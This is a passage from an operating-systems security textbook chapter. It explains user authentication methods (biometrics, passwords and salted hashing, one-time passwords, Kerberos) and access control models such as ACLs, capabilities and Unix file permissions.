ingly the process whose aim is to check whether users are who they claim to be.
Authentication is needed in order to be able to identify the users unambiguously, so
they can be given the rights which they should have, and possibly be held responsible
for their activities. There are three basic forms of evidence which users can use to
identify themselves:
• Something which the user knows, such as a password, a PIN code, a “pass phrase”,
a secret handshake, an encryption key etc.
• Something which the user has, such as an ID badge, a (physical) key, a driving
license, a student’s card, a uniform, a chipcard/smartcard etc.
9.1 User Authentication 237

• Something which the user is, based on physical characteristics, such as finger
prints, face shape, iris pattern or retina pattern, or on behavioural characteristics
such as a way of walking, a typing rhythm or a voice sample. Such characteristics
are often called biometric parameters.
It should preferably be the case that the thing which the user knows, has or is is
completely unique for exactly that user. As this cannot always be ensured, it is often
necessary to use a combination of these types of evidence, in order to obtain a 100%
certain identification of the user.

9.1.1 Biometric Authentication

There are many properties of a human being which in principle can be used to
identify a person. But not all of them are well suited in all situations—they can for
example take too long a time to measure, or expose the user to an unpleasant process.
Moreover, they are not all equally precise in their identification. For example, there
will for most parameters be a statistical spread in the measurements from a given
individual, and a certain probability that a measurement made on many individuals
will give the same result for several of them. So in general people try to use biometric
parameters which:
• are easy and quick to measure, without exposing the user to unpleasant experi-
ences;
• give the fewest possible false rejections, i.e. measurements which incorrectly give
a negative identification, so a genuine user gets rejected;
• give the fewest possible false acceptances, i.e. measurements which incorrectly
give a positive identification, so a wrong user or a complete outsider is accepted
as the genuine user.
Commonly used methods for biometric authentication include:
• Fingerprint measurement: This is the oldest systematic method and is very
commonly used by authorities in different countries to identify people. The per-
son’s fingerprints are characterised by the presence and position of various types
of standard features which often turn up in fingerprints. Some examples are shown
in Fig. 9.2.
The method is based on the assumption that there are no two people with the same
fingerprints—and no investigation has yet been able to discredit this assumption.
But the method has the weakness that it is relatively easy to make a kind of copy
of the surface of a finger in gelatine or similar rubbery material. This makes it
possible for an attacker to pretend to be a completely different person. James
Bond fans will probably remember the film “Diamonds are Forever”, where Bond
fools the enemy by just exactly fixing a set of forged finger surfaces on his own
fingers. And it is a well-known fact that people leave fingerprints all over the
place, where malicious persons can use them as a model for such a forgery. There
238 9 Security in Operating Systems

Crossover
Core
Bifurcation
Ridge ending
Island
Fig. 9.2 Features in a finger- Delta
print (Adapted from Wikime- Pore
dia Commons, file Elements
of a fingerprint.jpg p)

are even small demonstrations on the Internet (especially on YouTube) of how to

make a forgery and use it to get access to a smartphone which—just like a good
deal of modern laptop computers and tablets—has a fingerprint reader for use in
authentication.
• Face recognition: This is probably the oldest technique of all for authentication,
used by security guards since antique times! In the modern version it is often
automated with the help of a camera which takes a picture of the face. The picture
is then analysed by localising characteristic features and measuring the distances
between them for comparison with stored data about the individual. Fig. 9.3 shows
an example.

(a) (b) (c)

Fig. 9.3 Measurements for face recognition (Images by Jens Fagertun reproduced with permission)
a. 3D-image of face
b. Face with localisation of standard points
c. Triangulation between standard points for measurement of distances

Older systems for face recognition only used information derived from a 2-
dimensional image of the user. Experience shows clearly, however, that such
systems can easily be cheated, so they accept an ordinary photo of the user as
9.1 User Authentication 239

being the user in person. Systems which use information from a 3-dimensional
image are significantly harder to cheat in that way, but can still get into difficulties
if the user wears glasses, gets scarred or tattooed, or changes appearance in some
other way. Advances in the technology of 3D printers also make it possible to
produce lifelike models of people’s faces which may be incorrectly accepted as
the authentic user.
• Iris recognition: Tries to find characteristic patterns in the iris of the eye, as in
Fig. 9.4. As in the case of fingerprints, the method is based on the assumption that

Fig. 9.4 An iris pattern

(Photo: Mahdi S. Hosseini,
Wikimedia Commons file
ColourIris.png, licensed
under CC-BY 3.0 [22])

the pattern in the iris is unique for each individual. An iris pattern is moreover
extremely hard to fake. This is because an iris looks different in different sorts
of light, so potential forgers must also build this property into their forgery. The
measurement takes very little time, and is therefore often used in physical access
control to secured rooms.
• Hand and finger patterns: Try to find characteristic measurement data by look-
ing at the fingers’ size and joint placement, as shown in Fig. 9.5.

Fig. 9.5 Typical measure-

ments of finger patterns
240 9 Security in Operating Systems

• Vein patterns in the hand: Under infrared lighting, the pattern of the veins
in the hand can be clearly seen and measured. The method has two important
advantages. Firstly, that the measurement can be made without the person having
to touch the measuring equipment, which gives better hygiene and a reduced need
for cleaning, compared for example to measurements of fingerprints. Secondly,
because it is very hard to make a forgery of a person’s hand which will show the
same pattern. A well-known example of equipment for this type of measurement
is Fujitsu’s PalmSecure® system.
In the very nature of things, if you want to check that a given individual is the
person, NN, who the individual claims to be, then as a starting point you must have
obtained a measurement of the chosen biometric parameter for the genuine person
NN. This initial measurement, which is made when NN signs on to the system, forms
the basis for subsequently measured values from users who claim to be NN. Data
from the initial measurement is stored in a database in the authentication system,
most often in the form of a set of numbers (a so-called template), which describes
characteristic features of the image which the measuring apparatus has produced,
rather than in the form of the images themselves. A schematic picture of the apparatus
and its principle of operation is shown in Fig. 9.6.
There are some technological tradeoffs which have to be considered here: If you
include more features in the template, you get a more precise description, and the
probability of confusion between different individuals is reduced. On the other hand,
the more features you include, the longer time is takes to compare a subsequent
measurement with the initial measurement. Which of these considerations you think
most important will typically depend on how high a security level you are aiming
for.

Template
Enrolment database

Test

Feature Template Test

Preprocessor Match?
detector generator

Sensor
Match
result
Feature to be
measured

Fig. 9.6 Principles of a system for biometric authentication

9.1 User Authentication 241

9.1.2 Passwords

The use of a userid together with a password is considered to be a simple and reliable
way of identifying users. It doesn’t need special equipment, and it doesn’t give false
acceptances or false rejections—either the password is right or else it is wrong. But
systems which use passwords can be attacked in various ways. For example, the
attacker can:
• Try all possible passwords. This is called a brute-force attack.
• Try many likely passwords taken from a big list or a dictionary. This is called a
dictionary attack.
• Try passwords with (assumed) association to the user, such as dates of family
birthdays or anniversaries, names of family members or pets, and so on.
• Exploit possibilities for accessing the IT system’s internal storage for passwords.
• Use techniques of social engineering to get the user to reveal the password.

9.1.2.1 Password Strength

A password’s strength is a measure of how hard it is to find the password by guessing

it or using a brute-force attack. If a password is selected by taking 𝐿 randomly chosen
characters from a character set containing 𝑁 different characters, then there are 𝑁
raised to the power 𝐿 possible unique sequences of characters which can be formed.
So a brute-force attack will need to try up to 𝑁 𝐿 character sequences in order to
be certain to find the right password. This number grows very fast as 𝑁 and 𝐿
(the password’s length in characters) are increased. Some examples can be seen in
Table 9.1. The character set ISO-latin-1 is a commonly used character set which
contains all the characters used in Western European languages.

Table 9.1 Number of possible character combinations in a password with 𝐿 characters taken from
a character set with 𝑁 characters
Character set No. of chars, 𝑁 Length, 𝐿 Possible passwords

A-Z 26 5 11 881 376

6 308 915 776
7 8 031 810 176
8 208 827 064 576
9 5 429 503 678 976
10 141 167 095 653 376
ISO-latin-1 218 5 492 359 665 568
printable 6 107 334 407 093 824
7 23 398 900 746 453 632
8 5 100 960 362 726 891 776
9 1 112 009 359 074 462 407 168
10 242 418 040 278 232 804 762 624
242 9 Security in Operating Systems

Passwords which are created by choosing the characters at random therefore get
exponentially harder to crack as their length increases, as can be seen in Fig. 9.7.
Interestingly enough, many organisations have a policy for choosing passwords
which means that the characters are not chosen completely at random. We return to
the consequences of this policy later on.

10
9
Days to crack password

8 Characters in char. set, N

7 26 (A-Z)
6
218 (ISO-latin-1)
5
4
3
2
1
0
0 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
Password length, L (chars)

Fig. 9.7 Time to crack a password versus the password’s length

In the figure it is assumed, for the sake of example, that the attacker can test 1000 million passwords
per second.

9.1.2.2 Protection of Passwords

Nowadays passwords are stored in the system in encrypted form (most often as a
cryptographic hash of the password), so the unencrypted password cannot be found
directly. But even with this way of doing things there are certain risks:
• Easily available software, which only uses CPU power from an ordinary PC,
can test an MD5 hash of a password against several hundred million candidate
passwords per second. So a password with 8 randomly chosen letters from the
English alphabet (A-Z) can be found via a brute-force attack in about 16 seconds.
The organisation hashcat has published some benchmarks which show that if
a computer with 8 modern GPUs (Nvidia Titan X) is used, then one can test
several hundred billion candidates per second, so a password with 8 randomly
chosen English letters can be found in a fraction of a second. On the other hand,
a password with 8 randomly chosen characters from the character set ISO-latin-1
printable will take 2 million seconds (about 23 days), while a password with 12
randomly chosen characters from that character set takes about 1 trillion seconds
(around 32 000 years). The time needed will in all cases be even longer if more
complex hash functions, such as SHA-256 or bcrypt, are used.
9.1 User Authentication 243

• If the file with the encrypted passwords is available, it is easy to try to encrypt all
the words in a dictionary, to see whether one of them matches. On the Internet
you can find large collections of potential passwords encrypted using various
hash functions. Moreover, these collections include not only words which can
be found in an ordinary dictionary, but also commonly used modifications of
ordinary words (such as replacing the letter ’o’ with the digit ’0’, letter ’B’ with
digit ’3’ or the like) and passwords found through previous password cracking
attempts. Given such a collection, the attacker does not even need to use time for
calculating the hash values—simply searching in the collection to find a match
for the stored hash value will lead directly to the password in plaintext.
• If several users use the same password, the hash values stored in the file will be
identical.
The typical countermeasure against dictionary attacks, first introduced in Unix, is
to use a so-called salt as an extra parameter for working out the hash value of the
user’s password. The salt is a binary number, derived from the time of day and the
process-id, which is stored in plaintext in the file together with the password when the
password is created. If a salt with 𝑛 bits is used, there are 2𝑛 possible variants of the
hash value for a given password. this means that there must be 2𝑛 possible versions
of the collection of ready-encrypted passwords. For suitably large values of 𝑛 (e.g.
𝑛 = 32), this will require such a large storage capacity—232 is about 4 billion—that
the attack can hardly be carried out in practice. As the salt can be expected to be
different for passwords which are created at different times, then the risk of having
the same hash value for two users who choose the same password will also be tiny.
A good example of the unfortunate effect of not using a salt can be seen in the
result of a large hacker attack on LinkedIn: In June 2012, LinkedIn’s database with
passwords was stolen. It contained around 5.8 million unique passwords, where each
password was stored as a SHA-1 hash of the password without using a salt. 60% of
these passwords were decoded in less than 24 hours! There were two weaknesses in
the system. Firstly, it turned out that a very large portion of the passwords were not
randomly chosen, but consisted of ordinary words or phrases. And some of them
were really short. Secondly, the absence of a salt meant that the hash values could
be looked up in a collection of encrypted passwords.

9.1.2.3 Choosing Passwords

Passwords must be hard to guess but easy to remember! This well-known prin-
ciple is unfortunately hard to reconcile with the use of sequences of randomly
chosen characters—it is by no means easy to remember a password such as
a3#hQ’|bMz(n? . But if the user has free hands to choose a password which is
easy to remember, it will very often be easy to guess, as the attack on LinkedIn has
demonstrated.
To ensure that only good passwords are chosen, you can for example:
• Give the users good guidelines for choosing passwords, for example:
244 9 Security in Operating Systems

– make sure the password is long enough

– Include characters from a large character set
– Avoid using ordinary words or phrases
• Use reactive control: Run a “password cracker” program at regular intervals and
close the user’s account if the password can be cracked.
• Use proactive control: Check the password when the user chooses a new one;
reject it if it is not good enough.
The control criteria can for example be that the password has more than a given
minimum length and complexity, that it cannot be found in a (large) dictionary and
that it is not too old. A typical set of requirements is that the password must contain
at least one upper case letter, at least one lower case letter, at least one decimal digit
and at least one character which does not belong in any of these classes. This has
some consequences for the password’s strength, which the reader can investigate in
Exercise 9.3.
As early as 1979, an investigation carried out by Bell Labs [67] revealed that if
there are no special rules, then people choose weak passwords. For example: 16.5%
of users chose passwords which consisted of 3 or fewer ASCII characters, 14% chose
4 alphanumeric characters, 39% chose 5 or 6 letters all in the same (upper or lower)
case and 15% chose words which could be found in dictionaries. Only 14% made
better choices.
Things have not changed much during the last 40 years! After the previously men-
tioned crack of LinkedIn paswords in 2012, the security company Rapid7 published
a list of the most common passwords among those that in fact were successfully
cracked. The “Top 10” on the list are shown in Table 9.2.

Table 9.2 The 10 most used passwords found on LinkedIn by an attack in 2012 (source: Rapid7)
Place Number Password Place Number Password
1 941 link 6 179 12345
2 435 1234 7 176 angel
3 294 work 8 143 the
4 214 god 9 133 ilove
5 205 job 10 119 sex

The question of how often people should change their passwords, so that they are
never “too old” is contentious. Requirements for regular changes in the password
are based on the idea that it takes a certain time for an attacker to discover a user’s
password, so it is therefore a good idea to change it fairly often. But users are
often irritated by systems which require them to change their passwords at regular
intervals. And research shows that frequent changes of password are often a waste
of effort, as users tend to use a relatively predictable variation of the old password
when they choose a new one. If, for example, the old password was “Pussy;cat4”,
they choose “Pussy;cat5” or “Pussy!cat7” as the new one. If an attacker has found a
9.1 User Authentication 245

user’s password at a given moment in time—for example by setting up a keylogger in

the user’s computer or simply by looking over the user’s shoulder when the password
is being typed in—then he can work out a set of candidates for the next password
which the user will choose. Then it is just a question of trying the candidates out.

9.1.2.4 One-time Passwords

An alternative approach to the matter is to use a so-called one-time password (or just
OTP)—that is to say, a password which is changed every time you use it.
When one-time passwords are used in an IT context, it is often within the frame-
work of a challenge-response system: The user gets a challenge from the system and
has to respond to it in an agreed manner in order to be accepted. There are many
possible variants. Here are some examples:
• The system sends a so-called authentication code which is a simple sequence
of characters to the user. The user must type these in correctly on the device to
which access is required. To reduce the risk of man-in-the-middle attacks, the
code is typically sent via a communication channel which is separate from the
access mechanism itself, for example by mail to an e-mail address registered by
the user, or as a text to a mobile telephone number registered by the user.
• The user has provided a secret passphrase, say “ariAnnasings3peaches”, and the
system asks for characters which appear in certain positions in the phrase. For
example, the 5th, 13th, 18th and 2nd characters: “n3er”.
• The system sends an encrypted value. The user replies with the value obtained
by decrypting the challenge, changing the decrypted value in an agreed way and
then (re-)encrypting it.
Some of these methods are quite plainly suitable for humans, while others are suited
to when computers must identify themselves. They are very commonly used in on-
line systems used by banks and public authorities, where correct identification is
extremely important.
In order to avoid having to use external media such as e-mail or texting at all, an
alternative approach to generating one-time passwords is to have a small, tamper-
proof hardware unit or software app, often called an OTP device, which generates
a new code every time a certain time (typically around 60 seconds) has passed. An
example of a hardware OTP device is RSA’s SecurID® token, as shown in Fig. 9.8.

Fig. 9.8 An RSA SecurID®

model SID800 USB key.
(Foto: Alexander Klink, Wiki-
media Commons file RSA
SecurID SID800.jpg under
license CC-BY 3.0 [22])
246 9 Security in Operating Systems

A user who wants to authenticate herself must type in her userid and the code
currently shown on the screen of the unit. The typed in values are sent to a server
which continually generates the same sequence of codes as the user’s unit. The server
checks that the current code value for the user with the given useid matches the code
value which the user typed in. Corresponding solutions implemented in software are
also available, especially for smartphones and other small computers.
Both hardware and software implementations of generators for one-time pass-
words have a number of weaknesses. The hardware units are physically small and
therefore easy to lose by accident or theft. On the other hand they are as a rule
tamper-proof, which cannot be guaranteed with a software solution. Both types are
hard to protect against man-in-the-middle attacks in which, for example, an attacker
prevents the genuine user’s typed-in values from being transferred to the server,
but collects them up and uses them himself to log in. All time-based methods are
exposed to inaccuracies in the clocks, which may cause the clock in the unit and that
in the server to drift apart, with the result that the code values in the two parties at
some stage get to be different. If this happens (and in fact also if the batteries in the
unit need to be changed), then the clocks have to be re-synchronised; while this is
going on, the user cannot log in.

9.1.3 Pattern Locks

As passwords—especially good passwords—can be hard to remember, some systems

have been developed in recent years, in which the credential is not a password or
code, but a drawing or pattern which the user has to reproduce on a touch-sensitive
screen.
This method is obviously most used in
small, portable systems, such as smart-
phones and tablets, where touch-sensitive
screens are standard. In the simplest cases,
the user just has to draw an unbroken pattern
of straight lines between a number of fixed
points on the screen, as shown in Fig. 9.9.
In this example, the user has been pre-
sented with the nine fixed points (the green
circles) and has drawn the yellow lines
Fig. 9.9 A simple pattern lock which form the pattern. In other systems the
user is shown a picture, and the user must
select certain elements, which define the pattern. In a third type, the user must make
a freehand drawing of a squiggle.
These so-called pattern locks make life reasonably easy for the user. But they have
a low security strength (see Exercise 9.1), and on a touch-sensitive screen the act of
drawing the pattern with a finger will leave greasy marks on the screen, which an
attacker can photograph and subsequently imitate. You can find small demonstrations
9.1 User Authentication 247

of how to do this on the Internet. From a security point of view, the technique is
therefore of very limited value.

9.1.4 Trends in User Authentication

There are a number of risks associated with only using a single method for user
authentication. Firstly, because some methods do not give a 100% perfect identi-
fication. And secondly, because things which you have can be stolen or in some
cases copied, things which you know can be disclosed by social engineering or
surveillance and even some things which you are can be imitated. To reduce the
risk of faulty user authentication, the modern trend is therefore to combine several
authentification methods. This is known as multi-factor authentication. There are
many common combinations for use in different contexts, including:
1. Something you have + something you know.
E.g. Credit card chip + PIN code
2. Something you know + something you are.
E.g. Password + fingerprint
3. Something you have + something you are.
E.g. Smartcard + iris recognition
The third type of combination with a hardware device and a biometric has the
advantage that it does not require users to remember passwords or PIN codes,
and is the technical basis for the passkeys standard promoted by the World Wide
Web Consortium. The process may be made even more secure if the system, after
checking the validity of one or more factors, requires the user to send some form
of one-time password (OTP), as described above. This makes it much more difficult
for an attacker to collect up all the information needed in order to be accepted as the
genuine user, and is a common practice in systems where establishment of personal
identity is very important, such as banking systems and systems based on eIDs.

9.1.5 Authentication Through the Net

When users have to authenticate themselves to an IT system through a network, all

information which is to be used as evidence of identity must be protected against
eavesdropping or replaying. There are two common strategies for this:
1. Send authentication information through a protected—that is to say, encrypted—
channel. This strategy is for example used in software for secure login based on
the protocol Secure Shell (SSH), a widely used product in operating systems based
on Unix. Server-based systems where access to the server is secured by the use
of SSL/TLS (as described in Sect. 8.4) also use this approach, so any necessary
credentials can be sent securely to the server.
248 9 Security in Operating Systems

Fig. 9.10 Kerberos’ way of UID

working Authenti-
Client TGT, SK1 cation
server

TGT, SID, Authenticator1

TT, SK 2 Ticket
Timestamp
Granting
Server
TT, Authenticator 2

Service
Server

2. Only send the user’s identification through the net, and use cryptographic methods
to check that the information which users provide on their own computer is
identical with what is stored on the remote computer. This strategy is used in
Kerberos, which is available in versions of Windows since Windows 2000 and in
a long series of OSs based on Unix.
The way Kerberos works is illustrated schematically in Fig. 9.10. The figure is
somewhat simplified, as it only shows the main content of the individual messages
which are exchanged, and it omits details of how these messages are encrypted.
The user’s access to services on the remote computer involves three phases, in
which a client exchanges information with three different types of server. A basic
mechanism in Kerberos is, that so-called tickets are issued to give access to the
individual servers, just like tickets in a transport system. The three phases are as
follows:
1. Logon and authentication, which involves four steps:
• The user logs in on a client by giving his userid (UID) and password.
• The client sends UID to the Authentication Server , and itself transforms the
password (typically by using a hash function) into a key (𝑆𝐾0 ) for use in a
symmetric encryption algorithm.
• The server correspondingly transforms the user’s password, which it keeps
stored in its database, and uses the result as the key for encrypting a session
key (𝑆𝐾1 ). The encrypted session key is sent to the client together with a Ticket
Granting Ticket (TGT), which has a limited period of validity and is encrypted
with a secret key, 𝑆𝐾𝑇 𝐺𝑆 , which is only known by the Authentication Server
and the Ticket Granting Server.
• The client tries to decrypt the encrypted 𝑆𝐾1 with the help of 𝑆𝐾0 . If this
succeeds, then the password which the user gave was the same as the one
stored on the server, so the client has authenticated itself and can use TGT as
a ticket in the next phase. However, the client cannot decrypt or modify TGT,
as it does not know the encryption key 𝑆𝐾𝑇 𝐺𝑆 .
9.1 User Authentication 249

2. Obtaining authorisation to use a given service, which involves two steps:

• The client sends the Ticket Granting Server the received, encrypted TGT, an
identification of the desired service (SID), and an authenticator, 𝐴𝑢𝑡ℎ𝑒𝑛𝑡𝑖𝑐𝑎𝑡𝑜𝑟 1 ,
which contains UID and a timestamp, encrypted with 𝑆𝐾1 .
• The server (which knows 𝑆𝐾𝑇 𝐺𝑆 ) decrypts TGT and thus finds 𝑆𝐾1 , which it
uses to decrypt the authenticator. Then it sends the client a new ticket (TT),
which the client can use in relation to the Service Server, together with a new
session key (𝑆𝐾2 ), encrypted with 𝑆𝐾1 . TT has a limited period of validity and
is encrypted with a key 𝑆𝐾𝑇 𝑆 , which is only known by the Ticket Granting
Server and Service Server.
3. Using the chosen service, which involves three steps:
• The client sends the Service Server the ticket TT and a new authenticator
(𝐴𝑢𝑡ℎ𝑒𝑛𝑡𝑖𝑐𝑎𝑡𝑜𝑟 2 ), which contains UID and a timestamp, encrypted with 𝑆𝐾2 .
• The Service Server (which knows 𝑆𝐾𝑇 𝑆 ) decrypts TT and thus finds the session
key 𝑆𝐾2 , which it uses to decrypt the authenticator to find the timestamp. Then
it sends the timestamp, encrypted with 𝑆𝐾2 , back to the client to confirm that
it will provide the desired service.
• The client decrypts this confirmation and checks that the timestamp is correct.
If it is, then the client can trust the server and can begin to request services.
It is very important for the security of Kerberos that the servers’ secret keys (𝑆𝐾𝑇 𝐺𝑆
and 𝑆𝐾𝑇 𝑆 ) are not disclosed, and that all timestamps are reliable. This latter require-
ment means that the clocks in all the computers must be synchronised, for example
by using a standard protocol for clock synchronisation, such as NTP. It is also im-
portant that the symmetric encryption algorithm chosen for use is sufficiently strong.
Although it is mandatory to implement AES256-CTS1, and it is recommended to
offer AES128-CTS as well, weaker encryption algorithms such as DES-CBC can be
found in older implementations of Kerberos. Their use is now deprecated.
Kerberos is widely used, and it is the default authentication method in Windows
systems since Windows 2000. One of the reasons for its widespread use is that it
makes it easy to set up a system for so-called single sign-on (SSO). Many large
organisations have numerous services which in principle are independent of one
another, but which all use the same credentials for authentication of users, who can
therefore avoid having to remember different passwords for different services. For
the users, this is a great relief, and it improves security because the users do not suffer
from so-called password tiredness, so they fall into bad habits such as writing the
passwords down in plaintext in order to remember them. On the other hand, it can be
very irritating to have to repeat the authentication process with the same credentials,
if you want to use several services. SSO makes it possible to authenticate yourself
just once, after which you have access to all the available services. In an SSO system
based on Kerberos, authentication (Phase 1) only needs to be performed once, while

1 CTS—CipherText Stealing—is a variant of the CBC mode for block ciphers, in which the
ciphertext has exactly the same length as the plaintext, instead of filling a whole number of blocks.
250 9 Security in Operating Systems

Phases 2 and 3 can be repeated for each of the services which the client wants to use,
within the limits set by the validity periods of the individual tickets. The negative
aspect of SSO is naturally that you only have one set of credentials for everything,
so loss, disclosure or theft of the credentials will have very serious consequences.

9.2 Authorisation, Protection & Rights

When the user has been authenticated during login, the next question is: What is the
user allowed to do? All operating systems use a mechanism for authorisation of the
users, so they are granted rights to access programs and data. Exactly what you are
authorised to access will depend on what sort of user you are. A guest will typically
have very few rights, an administrator will typically have rights to access everything,
while an ordinary user would lie somewhere between these two extremes.
In this context it is common practice to distinguish between two types of entity
which an IT system is composed of: subjects and objects. Objects are items to which
access is (potentially) limited. Such as:
• Files on a disk or similar
• File catalogues in the file system’s folders
• Areas in the computer’s memory
• Programs which are executed in the memory
• Hardware units
• Passwords, biometric templates and other authentication data
• The actual mechanism for protecting memory areas
Subjects are active elements, such as people, processes in which programs are
executed, or other system components which try to access objects.
The basic technique for ensuring orderly access to objects is to keep a given
subject’s objects separated from other subjects’ objects. The technical term for this
is separation. Separation can be introduced in a number of different ways:
• Physical separation: Different processes use different physical objects—e.g.
printers or even whole IT systems for different security levels.
• Temporal separation: Activities with different security requirements are carried
out at different times.
• Logical separation: Users are given the illusion that no other processes exist, as
they cannot access objects outside their own domain.
• Cryptographic separation: Processes hide their data and calculations by using
encryption, so they cannot be understood by other processes. In practice, this
means that the computer must have special hardware which can support this type
of separation. For example, the CPU must continually decrypt the instructions
and data which it fetches from the memory before it can perform the instructions,
and it must automatically encrypt the result before it is stored in the memory.
In what follows we will focus on logical separation, which is the classical focus for
traditional IT security in ordinary computers.
9.2 Authorisation, Protection & Rights 251

9.2.1 Who Decides?

An important question in connection with a system for access control is: Who
decides which subjects are given access rights to a given object? In general there are
potentially two possible candidates:
1. A highly privileged subject, who is said to have administrator (or in Unix-like
OSs root) privileges. The administrator has rights to do everything.
2. An ordinary subject, who is considered to be the owner of the object. The owner
is usually the subject who created the object—for example a file or similar.
Depending on the desired security level in the IT system, the OS can be configured
to let one or the other of these two candidates be the one who decides. This means
that there are two completely different principles for managing the access control
system:
1. Mandatory Access Control (commonly abbreviated to MAC), where only the
administrator can assign rights to subjects. In many systems of this type, the
individual subject cannot even see which rights it has—“the system” makes a
decision when the subject tries to access an object. The decision is typically
based on the subject’s security clearance and the object’s security classification
with respect to a given security policy. This form of central control is often
preferred in systems with high security requirements, such as military systems.
Newer versions of Linux, which use a Linux kernel version 2.6 or later, can offer
MAC via the security module SELinux, while FreeBSD and OS X use a MAC
Framework developed for TrustedBSD.
2. Discretionary Access Control (commonly abbreviated to DAC) where the owner
of the object (and naturally also the administrator) can decide which access rights
to the object subjects are assigned. This form of control is the standard one in
operating systems in ordinary IT systems. It is worth noticing that in most OSs
the owners’ right to decide also means that they can give other subjects the right
to decide.
In some contexts you also find OSs which support several special classes of subject,
and not just administrators and owners. For example, classes that reflect the subject’s
role in the organisation. When this is the case, a third principle for managing the
access control system is used: Role Based Access Control (RBAC), where a subject’s
rights depend on the role which the subject is playing at the moment. It is important
to note that a subject can have changing roles: A student at a university can for
example act as a Teaching Assistant some of the time; a chief doctor in a hospital
can be involved in treatment of patients, but also has an administrative role. In their
different roles they are assigned different rights.
Just because a subject in an OS which uses DAC can assign a right to others,
there is nothing that says that it must do so. There are two well-known principles for
good design which should be followed:
1. The Principle of Least Privilege You should assign as few rights as possible.
This means: not more than are necessary for performing the given task.
252 9 Security in Operating Systems

2. The Principle of Fail-safe Defaults If a subject does not explicitly get assigned
rights to access an object, then it must not have access to the object. This principle
should be used for deciding which rights a subject should have when the object
is created. It also implies that if access is denied in the course of a process, then
all changes made by the process until then should be rolled back—so the system
is secured against the effects of an error.

9.2.2 Access Control Matrices

The most general way of describing access rights is an access control matrix (ACM),
where there is a row for each subject and a column for each object. An example can
be seen in Fig. 9.11.

objects
bibliog temp help.txt c_comp linker sysclock printer
User A ORW ORW R X X R W
User B R R X X R W
subjects

User S RW R X X R W
User T R X X R W
SYS_MGR RW OX OX ORW O
User SVCS O X X R W

Fig. 9.11 An access control matrix

The set of possible rights varies a good deal from OS to OS. In the example here,
O means that the subject has rights as the owner of the object, R that it has rights to
read the object, W that it has rights to write in (and thus possibly modify) the object
and X that it has rights to execute the object’s contents as a program. So User A, for
example, has rights as owner and may read from and write into the object bibliog.

9.2.3 Access Control Lists

Even if it is not obvious from the example above, access control matrices are not
very suitable for use in practice. Even a small computer will nowadays typically
have several thousand objects in the form of files, and a large number of subjects
in the form of processes in which programs are executed. You can easily convince
yourself of this in a Windows system by starting TaskManager, or in a Unix-based
system by typing the command ps guax. Both of these will show a list of the active
processes which are running in the computer. An ACM will therefore often occupy
many Megabytes in the computer’s memory—and many of the matrix elements will
be completely empty, as the large majority of subjects only have rights to access a
9.2 Authorisation, Protection & Rights 253

Object catalog User A ORW

File ACL ptr User B R
bibliog User S RW
temp
User A ORW
help.txt
... User A R
User B R
User S R
User T R
SYS_MGR RW
Fig. 9.12 Access Control
User SVCS O
Lists

User A 's directory

User A bibliog ORW
User B temp ORW
User S help.txt R
User B 's directory
User T c_comp X
bibliog R
SYS_MGR linker X
help.txt R
User SVCS sys_clock R
c_comp X
printer W
linker X
sys_clock R
printer W

Fig. 9.13 Directories

few objects. So for practical reasons a more compact data structure than a matrix is
normally preferred for giving a picture of which subject may do what.
An access control list (ACL) is a more compact representation of an ACM in the
form of a list of <subject,rights> pairs for each object. This is illustrated in Fig. 9.12,
which describes exactly the same assignment of rights for the objects as the access
control matrix in Fig. 9.11.

9.2.4 Directories

An alternative compact way of representing an ACM is to use a directory. Compared

to an ACL, a directory looks at the ACM “the other way round”, as each directory is
a list of objects which can be accessed by a subject. This is illustrated in Fig. 9.13,
which also describes exactly the same assignment of rights as the access control
matrix in Fig. 9.11.

9.2.5 Capabilities

Capabilities come in various forms, but here we focus on one of the most common
ones: A capability is an unforgeable certificate that gives the subject which owns
254 9 Security in Operating Systems

User A 's capabilities

User A bibliog ORW

User B temp ORW
User S User B 's capabilities
help.txt R
User T bibliog R
SYS_MGR c_comp X
help.txt R
User SVCS linker X
c_comp X
sys_clock R
linker X
printer W
sys_clock R
printer W

Fig. 9.14 Capabilities

it access to an object. A subject’s set of capabilities shows, like a directory, which

objects the subject can access and in which way. An example can be seen in Fig. 9.14.
The small stars on the individual capabilities represent the certificates. Unlike ACMs,
ACLs and directories, capabilities can (in most systems under certain conditions)
be copied or transferred from one subject to another. If, for example, subject User
A has a capability to read from an object bibliog and User A starts a new processs
(and therefore a new subject) child, it can transfer the capability—or a version of it
with reduced rights—to child. This mechanism makes it possible to keep track of
which subject currently has the right to access the object. If the capability can be
copied and only the copy gets transferred, then it is also possible to keep track of
simultaneous sharing of the object.
From a security point of view, capabilities make it easy to answer the question:
“Which objects can a given subject access and in what way?”. This is a central
question when dealing with security breaches, where one might be interested in
knowing which objects a suspicious subject could have affected. ACLs, on the other
hand, make it easy to answer the inverse question: “Which subjects can access a given
object and in what way?”. This is a central question when you have to perform access
control, but not very helpful in connection with handling security events. There is
therefore currently a resurgence of interest in capabilities, which have previously been
considered as using too many resources for practical application. The development
of experimental systems such as Capsicum (for FreeBSD and Linux) and Google’s
Fuchsia reflect this trend.

9.3 Access Control in File Systems

All modern OSs offer a hierarchically organised file system with files, folders,
subfolders and so on. The file system can be local and/or give access to files on other
physical IT systems. Files (especially if there is access to them from several systems)
will often be able to be shared by several users.
9.3 Access Control in File Systems 255

There are a number of standard software components which provide access

through the net and which support sharing. Two of the most commonly used are:
• NFS (Network File System), originally from Sun (1985);
• Samba, based on Microsoft’s SMB protocol.
Even if NFS is designed for Unix and SMB for Windows, they are often used across
these platforms.
Much attention is often paid to access control in file systems, because many OSs
have critical system information stored in files, for example in Unix:
• The file /etc/passwd contains user information (except passwords).
• The file /etc/shadow contains encrypted passwords.
• There are numerous configuration files for the OS and other programs.
It is also well known that file transfers can transport malicious software components
such as viruses, worms, spyware, adware, etc.
Most modern standard OSs offer both single user and group protection of files
and folders. Subjects are divided into classes with their own access rules. The access
control system is normally designed according to the DAC principle, where the
owner is allowed to decide which rights the members of the individual classes are to
have.

9.3.1 Unix-style File Protection

In OSs which are based on or derived from Unix, including Linux and Mac OS X,
the basic form of protection is based on the use of compressed ACLs. Instead of
giving the access rights for each individual subject, as in an ordinary ACL, subjects
are divided into three classes for each object:
1. The Owner class, which consists of the object’s owner.
2. The Group class, which consists of the subjects which are members of the object’s
group.
3. The World class, which consists of all subjects which are not in either the owner
or the group class (“the rest of the world”).
This form of compression is illustrated in Fig. 9.15.
There is a single exception from this division into classes: A subject which has
administrator privileges (in the Unix world often called root privileges) is in a class
of its own, and has rights to do everything. This property is exploited by attackers,
who use various techniques to achieve root privileges, so they can take control of the
entire file system.
